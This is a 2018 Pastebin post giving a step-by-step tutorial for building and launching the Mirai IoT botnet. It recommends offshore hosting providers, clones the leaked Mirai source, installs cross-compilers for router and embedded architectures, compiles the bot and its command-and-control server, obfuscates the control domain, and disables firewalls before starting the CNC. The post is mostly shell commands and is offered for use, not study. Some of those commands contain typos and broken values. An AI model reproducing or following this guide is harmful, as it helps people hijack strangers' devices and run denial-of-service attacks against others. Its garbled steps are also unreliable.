AvengeVPS

Mirai Botnet Tutorial

Mar 1st, 2018
1,045
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.11 KB | None | 0 0
  1. I take no credit to this.
  2. It was created by Jihadi4Prez
  3. https://www.pastebin.com/u/Jihadi4Prez
  4.  
  5. * REQUIREMENTS *
  6. - 2x Debian 8 Offshore boxes - Providers. [x0]
  7. - Mirai Source - https://github.com/jgamblin/Mirai-Source-Code git clone https://github.com/jgamblin/Mirai-Source-Code
  8. - Good Instruction following skillz.
  9.  
  10. [x0] -Hosting Providers.
  11. https://www.nforce.com/
  12. http://ampnode.com/vps.html
  13. http://www.novogara.com/
  14. https://www.dataclub.biz/ (Accepts Everything but Paypal.)
  15.  
  16. ;This is a fully tutorial how to setup mirai from scratch. ENJOY :)
  17. ;This fixes golang errors when ./build debug telnet , is executed.
  18.  
  19. -Step One; Install the following on a Debian box. ex. Debian 7 x86_64-
  20. apt-get update -y
  21. apt-get upgrade -y
  22. apt-get install gcc golang electric-fence sudo git -y
  23. apt-get install mysql-server mysql-client -y
  24.  
  25. -Step Two; Installing and compiling the cross-compilers-
  26. ;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier.
  27.  
  28. mkdir /etc/xcompile
  29. cd /etc/xcompile
  30.  
  31. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  32. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  33. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  34. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  35. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  36. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  37. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  38. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  39. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  40.  
  41. tar -jxf cross-compiler-armv4l.tar.bz2
  42. tar -jxf cross-compiler-i586.tar.bz2
  43. tar -jxf cross-compiler-m68k.tar.bz2
  44. tar -jxf cross-compiler-mips.tar.bz2
  45. tar -jxf cross-compiler-mipsel.tar.bz2
  46. tar -jxf cross-compiler-powerpc.tar.bz2
  47. tar -jxf cross-compiler-sh4.tar.bz2
  48. tar -jxf cross-compiler-sparc.tar.bz2
  49. tar -jxf cross-compiler-armv6l.tar.bz2
  50.  
  51. rm *.tar.bz2
  52. mv cross-compiler-armv4l armv4l
  53. mv cross-compiler-i586 i586
  54. mv cross-compiler-m68k m68k
  55. mv cross-compiler-mips mips
  56. mv cross-compiler-mipsel mipsel
  57. mv cross-compiler-powerpc powerpc
  58. mv cross-compiler-sh4 sh4
  59. mv cross-compiler-sparc sparc
  60. mv cross-compiler-armv6l armv6l
  61.  
  62. -Step Three-
  63. ;Execute these in your ssh terminal, this will add to your ~/.bashrc
  64. export PATH=$PATH:/etc/xcompile/armv4l/bin
  65. export PATH=$PATH:/etc/xcompile/armv6l/bin
  66. export PATH=$PATH:/etc/xcompile/i586/bin
  67. export PATH=$PATH:/etc/xcompile/m68k/bin
  68. export PATH=$PATH:/etc/xcompile/mips/bin
  69. export PATH=$PATH:/etc/xcompile/mipsel/bin
  70. export PATH=$PATH:/etc/xcompile/powerpc/bin
  71. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  72. export PATH=$PATH:/etc/xcompile/sh4/bin
  73. export PATH=$PATH:/etc/xcompile/sparc/bin
  74. export PATH=$PATH:/etc/xcompile/armv6l/bin
  75.  
  76. export PATH=$PATH:/usr/local/go/bin
  77. export GOPATH=$HOME/Documents/go
  78.  
  79. -Step Four-
  80. ./build.sh debug telnet
  81. ./build.sh release telnet
  82. ;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that.
  83. go get github.com/go-sql-driver/mysql
  84. go get github.com/mattn/go-shellwords
  85.  
  86.  
  87. -Step Five; obfuscated string-
  88. ;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  89. ./enc string changeme.com
  90. ;Now add this to your table.c file.
  91.  
  92.  
  93.  
  94. -Step Six; Database setup-
  95. ;Now where going to setup the database permissions and users.
  96. ;If you have iptbales/ip6tables or any firewall install disable it.
  97.  
  98. service iptables stop
  99. /etc/ini.d/iptbales stop
  100.  
  101. ;Database setup
  102. cd Mirai-Source-Code-master/mirai/debug# mysql -u root -p
  103. /usr/bin/mysql_secure_installation
  104. ;It will ask you to set a password, make sure you remember this.
  105. ;Edit your main.go in /cnc/
  106. ex: 120.0.0.1:3306
  107. ;Once you've done the step above were going to add the database and user perms. follow this link.
  108. ;Create the database first
  109. create database mirai;
  110. ;Next select the database
  111. use mirai
  112. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  113. http://pastebin.com/BsSWnK7i
  114. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  115. ;Now your server should be online
  116. Service mysql restart
  117. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  118. ./cnc
  119. ;You should see - http://prntscr.com/dnsluv
  120. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  121. ;Now you can login through your ssh client with telnet.
  122.  
  123.  
  124. Congrats you setup mirai successfully!!
Advertisement
Add Comment
Please, Sign In to add comment